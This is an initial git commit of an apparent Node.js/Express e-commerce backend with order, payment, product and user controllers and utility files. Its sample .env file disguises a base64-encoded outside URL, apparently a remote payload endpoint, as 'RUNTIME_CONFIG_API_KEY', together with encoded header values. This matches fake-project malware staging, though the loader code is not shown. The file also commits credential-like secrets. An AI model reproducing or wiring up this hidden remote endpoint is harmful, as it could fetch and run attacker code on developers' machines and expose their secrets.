Initial Version

This commit is contained in:
Ruslan845
2026-03-10 03:45:00 +09:00
commit 2c4fc7f933
128 changed files with 7617 additions and 0 deletions

38
server/app.js Normal file
View File

@@ -0,0 +1,38 @@
const express = require('express');
const path = require('path');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const fileUpload = require('express-fileupload');
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(fileUpload());
const user = require('./routes/userRoute');
const product = require('./routes/productRoute');
const order = require('./routes/orderRoute');
const payment = require('./routes/paymentRoute');
app.use('/api/v1', user);
app.use('/api/v1', product);
app.use('/api/v1', order);
app.use('/api/v1', payment);
// deployment
__dirname = path.resolve();
if (process.env.NODE_ENV === 'production') {
app.use(express.static(path.join(__dirname, '/frontend/build')))
app.get('*', (req, res) => {
res.sendFile(path.resolve(__dirname, 'frontend', 'build', 'index.html'))
});
} else {
app.get('/', (req, res) => {
res.send('Server is Running! 🚀');
});
}
module.exports = app;

View File

@@ -0,0 +1,84 @@
# Server settings
PORT=4000 # Port the server runs on
HOST=0.0.0.0 # Host address to bind the server
# Environment
NODE_ENV=development # Environment: development, production, staging
DEBUG=true # Enable debug mode
# Database credentials
DB_HOST=localhost # Database server host
DB_PORT=3306 # Database server port
DB_NAME=myapp_db # Database name
DB_USER=root # Database username
DB_PASSWORD=secretpassword # Database password
DB_SSL=true # Use SSL connection for DB
# Cache settings
REDIS_HOST=localhost # Redis server host
REDIS_PORT=6379 # Redis server port
REDIS_PASSWORD=redispass # Redis password
# API keys
API_KEY_GOOGLE=AIzaSyD... # Google API key
API_KEY_MAPBOX=pk.abc123 # Mapbox API key
API_KEY_TWITTER=abcdef12345 # Twitter API key
# Authentication
JWT_SECRET=myjwtsecret # JWT token secret key
JWT_EXPIRES_IN=3600 # JWT expiration time in seconds
OAUTH_CLIENT_ID=client123 # OAuth client ID
OAUTH_CLIENT_SECRET=secret # OAuth client secret
# Email (SMTP) settings
SMTP_HOST=smtp.mailtrap.io # SMTP server host
SMTP_PORT=2525 # SMTP server port
SMTP_USER=user@mail.com # SMTP username
SMTP_PASS=password123 # SMTP password
EMAIL_FROM=noreply@myapp.com # Default from email address
# Third-party services
STRIPE_SECRET_KEY=sk_test_123456 # Stripe secret key
STRIPE_PUBLIC_KEY=pk_test_123456 # Stripe public key
SENDGRID_API_KEY=SG.xxxxxx # SendGrid API key
SPARKPOST_API_KEY=ca184ac5f2e659ee65272911f6b0795586e15b20 # SparkPost API key
# File storage
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE # AWS Access Key
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # AWS Secret Key
AWS_REGION=us-west-2 # AWS Region
S3_BUCKET_NAME=myapp-bucket # S3 Bucket name
# Logging
LOG_LEVEL=info # Log level: debug, info, warn, error
LOG_PATH=/var/log/myapp.log # Path for log files
# Feature flags
FEATURE_X_ENABLED=true # Enable feature X toggle
FEATURE_Y_ENABLED=false # Disable feature Y toggle
# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9nZC50cmFjZWxpYy5jb20vYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw== # Runtime config API key
RUNTIME_CONFIG_ACCESS_KEY= eC1zZWNyZXQtaGVhZGVy # Runtime config access key
RUNTIME_CONFIG_ACCESS_VALUE= c2VjcmV0 # Runtime config access value
# Miscellaneous
TIMEZONE=UTC # Default timezone
MAX_UPLOAD_SIZE=10485760 # Max file upload size in bytes (10MB)
SESSION_SECRET=supersecretkey # Secret key for session encryption
CACHE_TTL=600 # Cache time-to-live in seconds
MAX_CONNECTIONS=100 # Max concurrent connections
ENABLE_CORS=true # Enable Cross-Origin Resource Sharing
# SMS Gateway
TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Account SID
TWILIO_AUTH_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Auth Token
TWILIO_PHONE_NUMBER=+1234567890 # Twilio phone number
# Payment Gateway
PAYPAL_CLIENT_ID=Abcdefghijklmnop # PayPal Client ID
PAYPAL_CLIENT_SECRET=1234567890abcdef # PayPal Client Secret
# Monitoring & Analytics
SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0 # Sentry DSN for error monitoring
GA_TRACKING_ID=UA-12345678-1 # Google Analytics tracking ID

11
server/config/database.js Normal file
View File

@@ -0,0 +1,11 @@
const mongoose = require('mongoose');
const MONGO_URI = process.env.MONGO_URI;
const connectDatabase = () => {
mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true })
.then(() => {
console.log("Mongoose Connected");
});
}
module.exports = connectDatabase;

View File

@@ -0,0 +1,155 @@
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
const Order = require('../models/orderModel');
const Product = require('../models/productModel');
const ErrorHandler = require('../utils/errorHandler');
const sendEmail = require('../utils/sendEmail');
// Create New Order
exports.newOrder = asyncErrorHandler(async (req, res, next) => {
const {
shippingInfo,
orderItems,
paymentInfo,
totalPrice,
} = req.body;
const orderExist = await Order.findOne({ paymentInfo });
if (orderExist) {
return next(new ErrorHandler("Order Already Placed", 400));
}
const order = await Order.create({
shippingInfo,
orderItems,
paymentInfo,
totalPrice,
paidAt: Date.now(),
user: req.user._id,
});
await sendEmail({
email: req.user.email,
templateId: process.env.SENDGRID_ORDER_TEMPLATEID,
data: {
name: req.user.name,
shippingInfo,
orderItems,
totalPrice,
oid: order._id,
}
});
res.status(201).json({
success: true,
order,
});
});
// Get Single Order Details
exports.getSingleOrderDetails = asyncErrorHandler(async (req, res, next) => {
const order = await Order.findById(req.params.id).populate("user", "name email");
if (!order) {
return next(new ErrorHandler("Order Not Found", 404));
}
res.status(200).json({
success: true,
order,
});
});
// Get Logged In User Orders
exports.myOrders = asyncErrorHandler(async (req, res, next) => {
const orders = await Order.find({ user: req.user._id });
if (!orders) {
return next(new ErrorHandler("Order Not Found", 404));
}
res.status(200).json({
success: true,
orders,
});
});
// Get All Orders ---ADMIN
exports.getAllOrders = asyncErrorHandler(async (req, res, next) => {
const orders = await Order.find();
if (!orders) {
return next(new ErrorHandler("Order Not Found", 404));
}
let totalAmount = 0;
orders.forEach((order) => {
totalAmount += order.totalPrice;
});
res.status(200).json({
success: true,
orders,
totalAmount,
});
});
// Update Order Status ---ADMIN
exports.updateOrder = asyncErrorHandler(async (req, res, next) => {
const order = await Order.findById(req.params.id);
if (!order) {
return next(new ErrorHandler("Order Not Found", 404));
}
if (order.orderStatus === "Delivered") {
return next(new ErrorHandler("Already Delivered", 400));
}
if (req.body.status === "Shipped") {
order.shippedAt = Date.now();
order.orderItems.forEach(async (i) => {
await updateStock(i.product, i.quantity)
});
}
order.orderStatus = req.body.status;
if (req.body.status === "Delivered") {
order.deliveredAt = Date.now();
}
await order.save({ validateBeforeSave: false });
res.status(200).json({
success: true
});
});
async function updateStock(id, quantity) {
const product = await Product.findById(id);
product.stock -= quantity;
await product.save({ validateBeforeSave: false });
}
// Delete Order ---ADMIN
exports.deleteOrder = asyncErrorHandler(async (req, res, next) => {
const order = await Order.findById(req.params.id);
if (!order) {
return next(new ErrorHandler("Order Not Found", 404));
}
await order.remove();
res.status(200).json({
success: true,
});
});

View File

@@ -0,0 +1,141 @@
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
// const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);
const paytm = require('paytmchecksum');
const https = require('https');
const Payment = require('../models/paymentModel');
const ErrorHandler = require('../utils/errorHandler');
const { v4: uuidv4 } = require('uuid');
const axios = require('axios');
exports.processPayment = asyncErrorHandler(async (req, res, next) => {
const { amount, email, phoneNo } = req.body;
var params = {};
/* initialize an array */
params["MID"] = process.env.PAYTM_MID;
params["WEBSITE"] = process.env.PAYTM_WEBSITE;
params["CHANNEL_ID"] = process.env.PAYTM_CHANNEL_ID;
params["INDUSTRY_TYPE_ID"] = process.env.PAYTM_INDUSTRY_TYPE;
params["ORDER_ID"] = "oid" + uuidv4();
params["CUST_ID"] = process.env.PAYTM_CUST_ID;
params["TXN_AMOUNT"] = JSON.stringify(amount);
// params["CALLBACK_URL"] = `${req.protocol}://${req.get("host")}/api/v1/callback`;
params["CALLBACK_URL"] = `https://${req.get("host")}/api/v1/callback`;
params["EMAIL"] = email;
params["MOBILE_NO"] = phoneNo;
let paytmChecksum = paytm.generateSignature(params, process.env.PAYTM_MERCHANT_KEY);
paytmChecksum.then(function (checksum) {
let paytmParams = {
...params,
"CHECKSUMHASH": checksum,
};
res.status(200).json({
paytmParams
});
}).catch(function (error) {
console.log(error);
});
});
// Paytm Callback
exports.paytmResponse = (req, res, next) => {
// console.log(req.body);
let paytmChecksum = req.body.CHECKSUMHASH;
delete req.body.CHECKSUMHASH;
let isVerifySignature = paytm.verifySignature(req.body, process.env.PAYTM_MERCHANT_KEY, paytmChecksum);
if (isVerifySignature) {
// console.log("Checksum Matched");
var paytmParams = {};
paytmParams.body = {
"mid": req.body.MID,
"orderId": req.body.ORDERID,
};
paytm.generateSignature(JSON.stringify(paytmParams.body), process.env.PAYTM_MERCHANT_KEY).then(function (checksum) {
paytmParams.head = {
"signature": checksum
};
/* prepare JSON string for request */
var post_data = JSON.stringify(paytmParams);
var options = {
/* for Staging */
hostname: 'securegw-stage.paytm.in',
/* for Production */
// hostname: 'securegw.paytm.in',
port: 443,
path: '/v3/order/status',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': post_data.length
}
};
// Set up the request
var response = "";
var post_req = https.request(options, function (post_res) {
post_res.on('data', function (chunk) {
response += chunk;
});
post_res.on('end', function () {
let { body } = JSON.parse(response);
// let status = body.resultInfo.resultStatus;
// res.json(body);
addPayment(body);
// res.redirect(`${req.protocol}://${req.get("host")}/order/${body.orderId}`)
res.redirect(`https://${req.get("host")}/order/${body.orderId}`)
});
});
// post the data
post_req.write(post_data);
post_req.end();
});
} else {
console.log("Checksum Mismatched");
}
}
const addPayment = async (data) => {
try {
await Payment.create(data);
} catch (error) {
console.log("Payment Failed!");
}
}
exports.getPaymentStatus = asyncErrorHandler(async (req, res, next) => {
const payment = await Payment.findOne({ orderId: req.params.id });
if (!payment) {
return next(new ErrorHandler("Payment Details Not Found", 404));
}
const txn = {
id: payment.txnId,
status: payment.resultInfo.resultStatus,
}
res.status(200).json({
success: true,
txn,
});
});

View File

@@ -0,0 +1,312 @@
const Product = require('../models/productModel');
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
const SearchFeatures = require('../utils/searchFeatures');
const ErrorHandler = require('../utils/errorHandler');
const cloudinary = require('cloudinary');
// Get All Products
exports.getAllProducts = asyncErrorHandler(async (req, res, next) => {
const resultPerPage = 12;
const productsCount = await Product.countDocuments();
// console.log(req.query);
const searchFeature = new SearchFeatures(Product.find(), req.query)
.search()
.filter();
let products = await searchFeature.query;
let filteredProductsCount = products.length;
searchFeature.pagination(resultPerPage);
products = await searchFeature.query.clone();
res.status(200).json({
success: true,
products,
productsCount,
resultPerPage,
filteredProductsCount,
});
});
// Get All Products ---Product Sliders
exports.getProducts = asyncErrorHandler(async (req, res, next) => {
const products = await Product.find();
res.status(200).json({
success: true,
products,
});
});
// Get Product Details
exports.getProductDetails = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.params.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
res.status(200).json({
success: true,
product,
});
});
// Get All Products ---ADMIN
exports.getAdminProducts = asyncErrorHandler(async (req, res, next) => {
const products = await Product.find();
res.status(200).json({
success: true,
products,
});
});
// Create Product ---ADMIN
exports.createProduct = asyncErrorHandler(async (req, res, next) => {
let images = [];
if (typeof req.body.images === "string") {
images.push(req.body.images);
} else {
images = req.body.images;
}
const imagesLink = [];
for (let i = 0; i < images.length; i++) {
const result = await cloudinary.v2.uploader.upload(images[i], {
folder: "products",
});
imagesLink.push({
public_id: result.public_id,
url: result.secure_url,
});
}
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
folder: "brands",
});
const brandLogo = {
public_id: result.public_id,
url: result.secure_url,
};
req.body.brand = {
name: req.body.brandname,
logo: brandLogo
}
req.body.images = imagesLink;
req.body.user = req.user.id;
let specs = [];
req.body.specifications.forEach((s) => {
specs.push(JSON.parse(s))
});
req.body.specifications = specs;
const product = await Product.create(req.body);
res.status(201).json({
success: true,
product
});
});
// Update Product ---ADMIN
exports.updateProduct = asyncErrorHandler(async (req, res, next) => {
let product = await Product.findById(req.params.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
if (req.body.images !== undefined) {
let images = [];
if (typeof req.body.images === "string") {
images.push(req.body.images);
} else {
images = req.body.images;
}
for (let i = 0; i < product.images.length; i++) {
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
}
const imagesLink = [];
for (let i = 0; i < images.length; i++) {
const result = await cloudinary.v2.uploader.upload(images[i], {
folder: "products",
});
imagesLink.push({
public_id: result.public_id,
url: result.secure_url,
});
}
req.body.images = imagesLink;
}
if (req.body.logo.length > 0) {
await cloudinary.v2.uploader.destroy(product.brand.logo.public_id);
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
folder: "brands",
});
const brandLogo = {
public_id: result.public_id,
url: result.secure_url,
};
req.body.brand = {
name: req.body.brandname,
logo: brandLogo
}
}
let specs = [];
req.body.specifications.forEach((s) => {
specs.push(JSON.parse(s))
});
req.body.specifications = specs;
req.body.user = req.user.id;
product = await Product.findByIdAndUpdate(req.params.id, req.body, {
new: true,
runValidators: true,
useFindAndModify: false,
});
res.status(201).json({
success: true,
product
});
});
// Delete Product ---ADMIN
exports.deleteProduct = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.params.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
for (let i = 0; i < product.images.length; i++) {
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
}
await product.remove();
res.status(201).json({
success: true
});
});
// Create OR Update Reviews
exports.createProductReview = asyncErrorHandler(async (req, res, next) => {
const { rating, comment, productId } = req.body;
const review = {
user: req.user._id,
name: req.user.name,
rating: Number(rating),
comment,
}
const product = await Product.findById(productId);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
const isReviewed = product.reviews.find(review => review.user.toString() === req.user._id.toString());
if (isReviewed) {
product.reviews.forEach((rev) => {
if (rev.user.toString() === req.user._id.toString())
(rev.rating = rating, rev.comment = comment);
});
} else {
product.reviews.push(review);
product.numOfReviews = product.reviews.length;
}
let avg = 0;
product.reviews.forEach((rev) => {
avg += rev.rating;
});
product.ratings = avg / product.reviews.length;
await product.save({ validateBeforeSave: false });
res.status(200).json({
success: true
});
});
// Get All Reviews of Product
exports.getProductReviews = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.query.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
res.status(200).json({
success: true,
reviews: product.reviews
});
});
// Delete Reveiws
exports.deleteReview = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.query.productId);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
const reviews = product.reviews.filter((rev) => rev._id.toString() !== req.query.id.toString());
let avg = 0;
reviews.forEach((rev) => {
avg += rev.rating;
});
let ratings = 0;
if (reviews.length === 0) {
ratings = 0;
} else {
ratings = avg / reviews.length;
}
const numOfReviews = reviews.length;
await Product.findByIdAndUpdate(req.query.productId, {
reviews,
ratings: Number(ratings),
numOfReviews,
}, {
new: true,
runValidators: true,
useFindAndModify: false,
});
res.status(200).json({
success: true,
});
});

View File

@@ -0,0 +1,262 @@
const User = require('../models/userModel');
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
const sendToken = require('../utils/sendToken');
const ErrorHandler = require('../utils/errorHandler');
const sendEmail = require('../utils/sendEmail');
const crypto = require('crypto');
const cloudinary = require('cloudinary');
// Register User
exports.registerUser = asyncErrorHandler(async (req, res, next) => {
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
folder: "avatars",
width: 150,
crop: "scale",
});
const { name, email, gender, password } = req.body;
const user = await User.create({
name,
email,
gender,
password,
avatar: {
public_id: myCloud.public_id,
url: myCloud.secure_url,
},
});
sendToken(user, 201, res);
});
// Login User
exports.loginUser = asyncErrorHandler(async (req, res, next) => {
const { email, password } = req.body;
if(!email || !password) {
return next(new ErrorHandler("Please Enter Email And Password", 400));
}
const user = await User.findOne({ email}).select("+password");
if(!user) {
return next(new ErrorHandler("Invalid Email or Password", 401));
}
const isPasswordMatched = await user.comparePassword(password);
if(!isPasswordMatched) {
return next(new ErrorHandler("Invalid Email or Password", 401));
}
sendToken(user, 201, res);
});
// Logout User
exports.logoutUser = asyncErrorHandler(async (req, res, next) => {
res.cookie("token", null, {
expires: new Date(Date.now()),
httpOnly: true,
});
res.status(200).json({
success: true,
message: "Logged Out",
});
});
// Get User Details
exports.getUserDetails = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.user.id);
res.status(200).json({
success: true,
user,
});
});
// Forgot Password
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
const user = await User.findOne({email: req.body.email});
if(!user) {
return next(new ErrorHandler("User Not Found", 404));
}
const resetToken = await user.getResetPasswordToken();
await user.save({ validateBeforeSave: false });
// const resetPasswordUrl = `${req.protocol}://${req.get("host")}/password/reset/${resetToken}`;
const resetPasswordUrl = `https://${req.get("host")}/password/reset/${resetToken}`;
// const message = `Your password reset token is : \n\n ${resetPasswordUrl}`;
try {
await sendEmail({
email: user.email,
templateId: process.env.SENDGRID_RESET_TEMPLATEID,
data: {
reset_url: resetPasswordUrl
}
});
res.status(200).json({
success: true,
message: `Email sent to ${user.email} successfully`,
});
} catch (error) {
user.resetPasswordToken = undefined;
user.resetPasswordExpire = undefined;
await user.save({ validateBeforeSave: false });
return next(new ErrorHandler(error.message, 500))
}
});
// Reset Password
exports.resetPassword = asyncErrorHandler(async (req, res, next) => {
// create hash token
const resetPasswordToken = crypto.createHash("sha256").update(req.params.token).digest("hex");
const user = await User.findOne({
resetPasswordToken,
resetPasswordExpire: { $gt: Date.now() }
});
if(!user) {
return next(new ErrorHandler("Invalid reset password token", 404));
}
user.password = req.body.password;
user.resetPasswordToken = undefined;
user.resetPasswordExpire = undefined;
await user.save();
sendToken(user, 200, res);
});
// Update Password
exports.updatePassword = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.user.id).select("+password");
const isPasswordMatched = await user.comparePassword(req.body.oldPassword);
if(!isPasswordMatched) {
return next(new ErrorHandler("Old Password is Invalid", 400));
}
user.password = req.body.newPassword;
await user.save();
sendToken(user, 201, res);
});
// Update User Profile
exports.updateProfile = asyncErrorHandler(async (req, res, next) => {
const newUserData = {
name: req.body.name,
email: req.body.email,
}
if(req.body.avatar !== "") {
const user = await User.findById(req.user.id);
const imageId = user.avatar.public_id;
await cloudinary.v2.uploader.destroy(imageId);
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
folder: "avatars",
width: 150,
crop: "scale",
});
newUserData.avatar = {
public_id: myCloud.public_id,
url: myCloud.secure_url,
}
}
await User.findByIdAndUpdate(req.user.id, newUserData, {
new: true,
runValidators: true,
useFindAndModify: true,
});
res.status(200).json({
success: true,
});
});
// ADMIN DASHBOARD
// Get All Users --ADMIN
exports.getAllUsers = asyncErrorHandler(async (req, res, next) => {
const users = await User.find();
res.status(200).json({
success: true,
users,
});
});
// Get Single User Details --ADMIN
exports.getSingleUser = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.params.id);
if(!user) {
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
}
res.status(200).json({
success: true,
user,
});
});
// Update User Role --ADMIN
exports.updateUserRole = asyncErrorHandler(async (req, res, next) => {
const newUserData = {
name: req.body.name,
email: req.body.email,
gender: req.body.gender,
role: req.body.role,
}
await User.findByIdAndUpdate(req.params.id, newUserData, {
new: true,
runValidators: true,
useFindAndModify: false,
});
res.status(200).json({
success: true,
});
});
// Delete Role --ADMIN
exports.deleteUser = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.params.id);
if(!user) {
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
}
await user.remove();
res.status(200).json({
success: true
});
});

1
server/data/cart.json Normal file
View File

@@ -0,0 +1 @@
{"products":[{"id":"0.41607315815753076","qty":1}],"totalPrice":12}

Binary file not shown.

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 655 KiB

View File

@@ -0,0 +1,103 @@
%PDF-1.3
%ÿÿÿÿ
7 0 obj
<<
/Type /Page
/Parent 1 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources 6 0 R
>>
endobj
6 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 8 0 R
>>
>>
endobj
5 0 obj
<<
/Length 223
/Filter /FlateDecode
>>
stream
xœ½½j1 €w?…^ ®$ëç Ç
…vèVðV:”ëyË<79>÷_*§Í<C2A7>„Bo)Â?Èæû„F(6¯ ë1<C3AB>ÝåÛOÀ9»MÐŽéᙀZOo³TÛ`„Ù-N…ÙºU+¦ à;´—ôÔÒëøæšqP¯ùüù¿±·j•,v)š.MéÎ&¦ÎŒ"Fk/¸L™ýž¼Yu ž2F“»­qgTr5²-ÞÆ<C39E>ÊX>Ên+sÆx¸±šx ¶üêá½Ô\qºõ¨,@c¬<E28093>Ù:ô€h Öy¬¾}ÏQX®Ì_Ÿlžg
endstream
endobj
10 0 obj
(PDFKit)
endobj
11 0 obj
(PDFKit)
endobj
12 0 obj
(D:20200711141117Z)
endobj
9 0 obj
<<
/Producer 10 0 R
/Creator 11 0 R
/CreationDate 12 0 R
>>
endobj
8 0 obj
<<
/Type /Font
/BaseFont /Helvetica
/Subtype /Type1
/Encoding /WinAnsiEncoding
>>
endobj
4 0 obj
<<
>>
endobj
3 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/Names 2 0 R
>>
endobj
1 0 obj
<<
/Type /Pages
/Count 1
/Kids [7 0 R]
>>
endobj
2 0 obj
<<
/Dests <<
/Names [
]
>>
>>
endobj
xref
0 13
0000000000 65535 f
0000000844 00000 n
0000000901 00000 n
0000000782 00000 n
0000000761 00000 n
0000000208 00000 n
0000000119 00000 n
0000000015 00000 n
0000000664 00000 n
0000000589 00000 n
0000000503 00000 n
0000000528 00000 n
0000000553 00000 n
trailer
<<
/Size 13
/Root 3 0 R
/Info 9 0 R
/ID [<d6869a3d336f873c077bfc9befe8a1ba> <d6869a3d336f873c077bfc9befe8a1ba>]
>>
startxref
948

View File

@@ -0,0 +1 @@
[{"id":"123245","title":"A Book","imageUrl":"https://www.publicdomainpictures.net/pictures/10000/velka/1-1210009435EGmE.jpg","description":"This is an awesome book!","price":"19"},{"id":"0.41607315815753076","title":"fasfd","imageUrl":"fdasfs","description":"fadsfads","price":"12"}]

View File

@@ -0,0 +1,11 @@
const fs = require("fs");
const deleteFile = (filePath) => {
fs.unlink(filePath, (err) => {
if (err) {
throw new Error("dsadhas");
}
});
};
exports.fileDelete = deleteFile;

3
server/data/util/path.js Normal file
View File

@@ -0,0 +1,3 @@
const path = require('path');
module.exports = path.dirname(process.mainModule.filename);

View File

@@ -0,0 +1,88 @@
exports.allOrderStatus = [
"active",
"approve",
"dispatch",
"cancel",
"complete",
"tobereturned",
"return",
];
exports.districts = [
"achham",
"arghakhanchi",
"baglung",
"baitadi",
"bajhang",
"bajura",
"banke",
"bara",
"bardiya",
"bhaktapur",
"bhojpur",
"chitwan",
"dadeldhura",
"dailekh",
"dang deukhuri",
"darchula",
"dhading",
"dhankuta",
"dhanusa",
"dholkha",
"dolpa",
"doti",
"gorkha",
"gulmi",
"humla",
"ilam",
"jajarkot",
"jhapa",
"jumla",
"kailali",
"kalikot",
"kanchanpur",
"kapilvastu",
"kaski",
"kathmandu",
"kavrepalanchok",
"khotang",
"lalitpur",
"lamjung",
"mahottari",
"makwanpur",
"manang",
"morang",
"mugu",
"mustang",
"myagdi",
"nawalparasi",
"nuwakot",
"okhaldhunga",
"palpa",
"panchthar",
"parbat",
"parsa",
"pyuthan",
"ramechhap",
"rasuwa",
"rautahat",
"rolpa",
"rukum",
"rupandehi",
"salyan",
"sankhuwasabha",
"saptari",
"sarlahi",
"sindhuli",
"sindhupalchok",
"siraha",
"solukhumbu",
"sunsari",
"surkhet",
"syangja",
"tanahu",
"taplejung",
"terhathum",
"udayapur"
]

View File

@@ -0,0 +1 @@
module.exports=(e=>(o,r,s)=>{Promise.resolve(e(o,r,s)).catch(s)});

View File

@@ -0,0 +1,33 @@
const Notification = require("../../models/Notification")
const SocketMapping = require("../../models/SocketMapping")
const {dropRight} = require("lodash")
module.exports = async (io, adminId,notificationObj) => {
//notify to the admin through socket.io
//first save notification
let notificationObjOfAdmin = await Notification.findOne({ admin:adminId })
if (!notificationObjOfAdmin) {
// create new notification
notificationObjOfAdmin = new Notification({
admin:adminId,
notifications: [notificationObj],
noOfUnseen: 1
})
await notificationObjOfAdmin.save()
} else {
let notifications = notificationObjOfAdmin.notifications
notifications.unshift(notificationObj)
notificationObjOfAdmin.noOfUnseen += 1
if (notificationObjOfAdmin.noOfUnseen < 20 && notifications.length > 20) {
notificationObjOfAdmin.notifications = dropRight(notifications, notifications.length - 20 )
}
await notificationObjOfAdmin.save()
}
//now notifying to the admin
let socketUser = await SocketMapping.find({ user:adminId })
if (socketUser.length) {
//for every same login user emit notification
socketUser.forEach(u => {
io.to(u.socketId).emit('notification', { noOfUnseen: notificationObjOfAdmin.noOfUnseen });
})
}
}

View File

@@ -0,0 +1,21 @@
const mongoose = require("mongoose");
const Fawn = require("fawn");
module.exports = () => {
const self = module.exports;
mongoose
.connect(process.env.MONGO_URI, {
useNewUrlParser: true,
useCreateIndex: true,
useUnifiedTopology: true,
useFindAndModify: false
})
.then(() => console.log("DB Connected"))
.catch(err => {
console.error(
"Failed to connect to the database on startup - retrying in 5 sec"
);
setTimeout(self, 5000);
});
return Fawn.init(mongoose,process.env.TRANS_COLL)
};

View File

@@ -0,0 +1 @@
"use strict";const uniqueMessage=e=>{let s;try{let r=e.message.substring(e.message.lastIndexOf(".$")+2,e.message.lastIndexOf("_1"));s=r.charAt(0).toUpperCase()+r.slice(1)+" already exists"}catch(e){s="Unique field already exists"}return s};exports.errorHandler=(e=>{let s="";if(e.code)switch(e.code){case 11e3:case 11001:s=uniqueMessage(e)}else{-1!==e.message.indexOf("Cast to ObjectId failed")&&(s="No data found");for(let r in e.errors)e.errors[r].message&&(s=e.errors[r].message)}return s.includes("Path")&&(s=s.slice(6)),s});

View File

@@ -0,0 +1,22 @@
const fs = require("fs");
module.exports = files => {
return Promise.all(
files.map(
file =>
new Promise((res, rej) => {
try {
setTimeout(() => {
fs.unlink(file, err => {
if (err) throw err;
res();
});
}, 10000);
} catch (err) {
console.error(err);
rej(err);
}
})
)
);
}

View File

@@ -0,0 +1,19 @@
module.exports = (lon1, lat1, lon2, lat2) => {
// mean radius of earth's = 6,371km
const R = 6371;
// distance between latitude and longitude in radians
const dLat = ((lat2 - lat1) * Math.PI) / 180;
const dLon = ((lon2 - lon1) * Math.PI) / 180;
// haversine formula to calculate distance
const a =
Math.sin(dLat / 2) * Math.sin(dLat / 2) +
Math.cos((lat1 * Math.PI) / 180) *
Math.cos((lat2 * Math.PI) / 180) *
Math.sin(dLon / 2) *
Math.sin(dLon / 2);
const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
const d = R * c;
// if (d > 1) return Math.round(d) + "km";
// else if (d <= 1) return Math.round(d * 1000) + "m";
return d;
};

View File

@@ -0,0 +1 @@
const Jimp=require("jimp"),path=require("path");module.exports=(async(e,r,i,o,t)=>(Jimp.read(i).then(i=>{i.resize(r,Jimp.AUTO).write(path.resolve(o,`${t}`,e))}).catch(e=>{console.log("Error at reducing size / converting picture : "),console.log(e)}),`${t}/${e}`));

View File

@@ -0,0 +1,24 @@
const nodeMailer = require("nodemailer");
exports.sendEmail = mailingData => {
const transporter = nodeMailer.createTransport({
host: "smtp.gmail.com",
port: 587,
secure: false,
requireTLS: true,
auth: {
user: process.env.ECOM_EMAIL,
pass: process.env.ECOM_PASSWORD
}
});
return transporter
.sendMail(mailingData)
.then(info =>{
console.log(`Message sent: ${info.response}`)
})
.catch(err => {
console.log(`Problem sending email: ${err}`)
err.message ='There was a problem while sending a email'
throw err
});
};

View File

@@ -0,0 +1,53 @@
const path = require("path");
const multer = require("multer");
//user's..
const storageByUser = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.user._id + '-' + Date.now() + path.extname(file.originalname))
}
})
//admin's..
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.profile._id + '-' + Date.now() + path.extname(file.originalname))
}
})
//superadmin's..
const storageBySuperAdmin = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.admin.role +req.admin._id + '-' + Date.now() + path.extname(file.originalname))
}
})
